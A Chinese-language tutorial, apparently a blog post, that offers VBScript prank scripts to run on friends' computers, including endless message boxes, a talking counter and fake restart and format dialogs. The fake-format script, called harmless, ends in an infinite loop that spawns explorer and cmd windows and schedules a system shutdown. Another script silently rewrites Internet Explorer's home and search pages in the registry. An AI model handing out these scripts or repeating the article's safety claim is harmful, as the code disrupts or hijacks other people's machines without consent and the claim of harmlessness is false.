编写有趣的VBScript恶作剧脚本

在本文中，我们将探讨如何使用Vbscript编写一些有趣的、无害的恶作剧程序。这些程序可以用来逗朋友们一笑，但请确保它们不会对系统造成任何实际损害。

以下是几个简单且有趣的Vbscript示例：

1. 无限消息框

这段代码会不断弹出消息框，直到用户关闭它。

Do
    MsgBox "你好！"
Loop

2. 语音报数

这个脚本会用计算机的声音不断报数。

Set s = CreateObject("sapi.spvoice")
i = 0
Do
    s.Speak i
    i = i + 1
Loop

3. 模拟重启提示

该脚本会弹出一个模拟的重启提示框，并在用户点击取消时显示一条玩笑信息。

If MsgBox("对不起,您需要重新启动计算机。确定要重启吗？", vbOKCancel + vbInformation, "重新启动计算机") = vbCancel Then
    MsgBox "你上当了！！", , "哈哈"
End If

4. 模拟格式化提示

这个脚本会弹出一系列消息框，营造出即将格式化的假象，但实际上并不会执行任何危险操作。

MsgBox "即将格式化！请做好准备！", vbYesNo
MsgBox "准备好后点yes！", vbYesNo
MsgBox "sorry，忘说了，点no也行！"
MsgBox "我对不起你啊！呜呜呜555哈哈哈哈！"
MsgBox "靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"
MsgBox "被人研究！"
MsgBox "就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"
MsgBox "你咋还笑？！是时候惩罚你了！"
Do
    Set ws = CreateObject("wscript.shell")
    ws.Run "explorer.exe"
    ws.Run "cmd.exe"
    ws.Run "cmd.exe /c shutdown -s -t 7200", , True
Loop

5. 讲故事循环

这段代码会不断地讲述一个古老的故事，直到用户终止脚本。

Dim a
a = MsgBox("给你讲个故事!", vbYesNo, "默默许愿制作")
If a = vbYes Then
    Do
        MsgBox "从前有座山"
        MsgBox "山上有座庙"
        MsgBox "庙里有两个和尚"
        MsgBox "大和尚给小和尚讲故事说"
        a = 1
    Loop While a = 1
End If

6. 设置默认主页为百度

该脚本会将用户的浏览器默认页和搜索页设置为百度。

Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL", "http://www.baidu.com"
WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL", "http://www.baidu.com"

注意事项

虽然这些脚本看起来很有趣，但在使用时请注意以下几点：

• 确保您的脚本不会对系统或数据造成任何损害。
• 尊重他人的设备和隐私，不要滥用这些脚本。
• 始终告知对方这是一个恶作剧，以避免不必要的误会。

希望这些示例能帮助您更好地理解Vbscript编程，同时也能为您带来一些乐趣。如果您有任何问题或建议，请随时留言交流。